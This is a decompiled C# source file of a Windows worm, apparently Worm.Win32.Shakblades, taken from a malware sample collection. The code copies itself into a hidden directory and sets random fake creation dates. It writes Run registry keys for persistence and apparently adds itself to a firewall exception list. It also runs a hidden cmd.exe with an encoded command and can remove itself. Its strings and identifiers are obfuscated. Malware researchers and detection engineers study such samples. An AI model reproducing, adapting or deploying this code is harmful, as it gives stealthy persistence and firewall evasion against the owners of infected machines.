MalwareSourceCode/MSIL/Worm/Win32/S/Worm.Win32.Shakblades.ajg-02a9138068421a7a0b8924d80ebf6e55a41d8132d9fc1210df874ab33801b79f/ɱªᕢ᳭ᬻ˫ԧᵢ.cs
2022-08-18 06:28:56 -05:00

194 lines
6.9 KiB
C#
Raw Blame History

This file contains ambiguous Unicode characters

This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

// Decompiled with JetBrains decompiler
// Type: Ҧ߲๒ʽ໙ୄᴘ.ɱªᕢ᳭ᬻ˫ԧᵢ
// Assembly: dns-sd, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
// MVID: 4A42D535-5A92-4CC4-9677-40E6ACE36033
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Worm.Win32.Shakblades.ajg-02a9138068421a7a0b8924d80ebf6e55a41d8132d9fc1210df874ab33801b79f.exe
using Microsoft.Win32;
using System;
using System.Diagnostics;
using System.IO;
namespace Ҧ߲ʽ
{
internal class ɱª\u02EBԧᵢ
{
public static void ()
{
ɱª\u02EBԧᵢ.P();
ɱª\u02EBԧᵢ.();
ɱª\u02EBԧᵢ.ϔ();
}
private static void P()
{
try
{
if (!Directory.Exists(ȩזڹ.\u000F))
Directory.CreateDirectory(ȩזڹ.\u000F);
}
catch
{
}
try
{
File.Copy(Process.GetCurrentProcess().MainModule.FileName, Path.Combine(ȩזڹ.\u000F, \u1928ᔾዔ.\u005B\u0E8EЇᘹഏಔভ(ȩזڹ.\u0CEE᮸, true)), true);
}
catch
{
}
try
{
if (ȩזڹ.\u09C7)
{
Random random = new Random();
int day = random.Next(1, 28);
int month = random.Next(1, 12);
int year = random.Next(2000, DateTime.Now.Year);
Directory.SetCreationTime(Path.Combine(ȩזڹ.\u000F, \u1928ᔾዔ.\u005B\u0E8EЇᘹഏಔভ(ȩזڹ.\u0CEE᮸, true)), new DateTime(year, month, day));
}
}
catch
{
}
if (ȩזڹ.ό\u1CCCᥓ\u005B)
{
try
{
File.SetAttributes(ȩזڹ.\u000F, FileAttributes.Hidden | FileAttributes.NotContentIndexed);
}
catch
{
}
}
if (!ȩזڹ.\u0B6E೮ᔙᩢ᷵ጔổ)
return;
try
{
File.SetAttributes(Path.Combine(ȩזڹ.\u000F, \u1928ᔾዔ.յ(ȩזڹ.\u0CEE᮸, true)), FileAttributes.Hidden | FileAttributes.NotContentIndexed);
}
catch
{
}
}
public static void ϔ()
{
try
{
if (ȩזڹ.\u1C42\u193Eᙁᖔᠮ೬\u1BFB)
Registry.CurrentUser.CreateSubKey(\u1928ᔾዔ.\u005B\u0E8EЇᘹഏಔভ("FjIpNzokNSgfECwmNTI2Mik3HxosMcO+nOsnMjo2HwY4NTUoMTcZKDU2LDIxHxU4MQ==", true)).SetValue(\u1928ᔾዔ.\u005B\u0E8EЇᘹഏಔভ(ȩזڹ.\u1B65ᬧౢzƎ, true), (object) (ȩזڹ.\u000F + "\\" + \u1928ᔾዔ.\u005B\u0E8EЇᘹഏಔভ(ȩזڹ.\u0CEE᮸, true)));
}
catch
{
}
try
{
if (ȩזڹ.ȷ)
Registry.LocalMachine.CreateSubKey(\u1928ᔾዔ.\u005B\u0E8EЇᘹഏಔভ("FjIpNzokNSgfECwmNTI2Mik3HxosMcO+nOsnMjo2HwY4NTUoMTcZKDU2LDIxHxU4MQ==", true)).SetValue(\u1928ᔾዔ.\u005B\u0E8EЇᘹഏಔভ(ȩזڹ.\u1B65ᬧౢzƎ, true), (object) (ȩזڹ.\u000F + "\\" + \u1928ᔾዔ.\u005B\u0E8EЇᘹഏಔভ(ȩזڹ.\u0CEE᮸, true)));
}
catch
{
}
try
{
if (!ȩזڹ.ԑ\u02EFᣢỳ)
return;
RegistryKey subKey = Registry.LocalMachine.CreateSubKey(\u1928ᔾዔ.\u005B\u0E8EЇᘹഏಔভ("FhIJFxoEFQgfECwmNTI2Mik3HwQmNyw5KOPDvpzrFig3ODMfDDE2NyQvLygn4wYyMDMyMSgxNzYf", true) + \u1928ᔾዔ.\u005B\u0E8EЇᘹഏಔভ(ȩזڹ.ү, true));
subKey.SetValue("Fjc4JcO+nOsTJDcr", (object) (ȩזڹ.\u000F + "\\" + \u1928ᔾዔ.\u005B\u0E8EЇᘹഏಔভ(ȩזڹ.\u0CEE᮸, true)));
subKey.SetValue("BjAGKzC99eEAMR4pKSIh", (object) 1, RegistryValueKind.DWord);
}
catch
{
}
}
private static void ()
{
try
{
Process process = new Process();
process.StartInfo = new ProcessStartInfo()
{
FileName = "cmd.exe",
UseShellExecute = false,
RedirectStandardInput = true,
CreateNoWindow = true,
WindowStyle = ProcessWindowStyle.Hidden
};
process.Start();
StreamWriter standardInput = process.StandardInput;
standardInput.WriteLine("cd " + ȩזڹ.\u000F);
standardInput.WriteLine(string.Format(\u1928ᔾዔ.\u005B\u0E8EЇᘹഏಔভ("KCYrMuMePTIxKBc1JDE2KSg1IB0yMSgMB8O+nOvjAOP14wHjPvNA/R0SEQjxLCcoMTcsKSwoNQ==", true), (object) \u1928ᔾዔ.\u005B\u0E8EЇᘹഏಔভ(ȩזڹ.\u0CEE᮸, true)));
standardInput.Close();
process.Kill();
}
catch
{
}
}
public static void \u171D\u0018ẖ()
{
try
{
Registry.CurrentUser.CreateSubKey(\u1928ᔾዔ.\u005B\u0E8EЇᘹഏಔভ("FjIpNzokNSgfECwmNTI2Mik3HxosMcO+nOsnMjo2HwY4NTUoMTcZKDU2LDIxHxU4MQ==", true)).DeleteValue(\u1928ᔾዔ.\u005B\u0E8EЇᘹഏಔভ(ȩזڹ.\u1B65ᬧౢzƎ, true));
}
catch
{
}
try
{
Registry.LocalMachine.CreateSubKey(\u1928ᔾዔ.\u005B\u0E8EЇᘹഏಔভ("FjIpNzokNSgfECwmNTI2Mik3HxosMcO+nOsnMjo2HwY4NTUoMTcZKDU2LDIxHxU4MQ==", true)).DeleteValue(\u1928ᔾዔ.\u005B\u0E8EЇᘹഏಔভ(ȩזڹ.\u02DBˬଋธ, true));
}
catch
{
}
try
{
Registry.LocalMachine.DeleteSubKey(\u1928ᔾዔ.\u005B\u0E8EЇᘹഏಔভ("FhIJFxoEFQgfECwmNTI2Mik3HwQmNyw5KOPDvpzrFig3ODMfDDE2NyQvLygn4wYyMDMyMSgxNzYf", true) + \u1928ᔾዔ.\u005B\u0E8EЇᘹഏಔভ(ȩזڹ.ү, true));
}
catch
{
}
try
{
switch (ȩזڹ.Փ̗)
{
case RegistryHive.CurrentUser:
Registry.CurrentUser.DeleteSubKey(ȩזڹ.\u187Dठ\u1371aːࠍؒ\u0A7Dᇁ);
break;
case RegistryHive.LocalMachine:
Registry.LocalMachine.DeleteSubKey(ȩזڹ.\u187Dठ\u1371aːࠍؒ\u0A7Dᇁ);
break;
}
}
catch
{
}
ɱª\u02EBԧᵢ.\u0AFD();
}
public static void \u0AFD()
{
try
{
string tempFileName = Path.GetTempFileName();
File.Delete(tempFileName);
File.Move(Process.GetCurrentProcess().MainModule.FileName, tempFileName);
\u0667Ѹ.\u1936\u0A50Ȁ\u0A84ᠬ\u1AE7(tempFileName, (string) null, \u0667Ѹ.̯.\u17FCנᒞ͍ሴǒ);
}
catch (Exception ex)
{
}
}
public enum \u0EF7ᶟᔂᢪĉᤘᢁַắ
{
\u0E6Cᬰᥥ,
ǸȎ\u1CFD,
\u05AFᩚၡ\u00F7\u1B4Cጝ,
}
}
}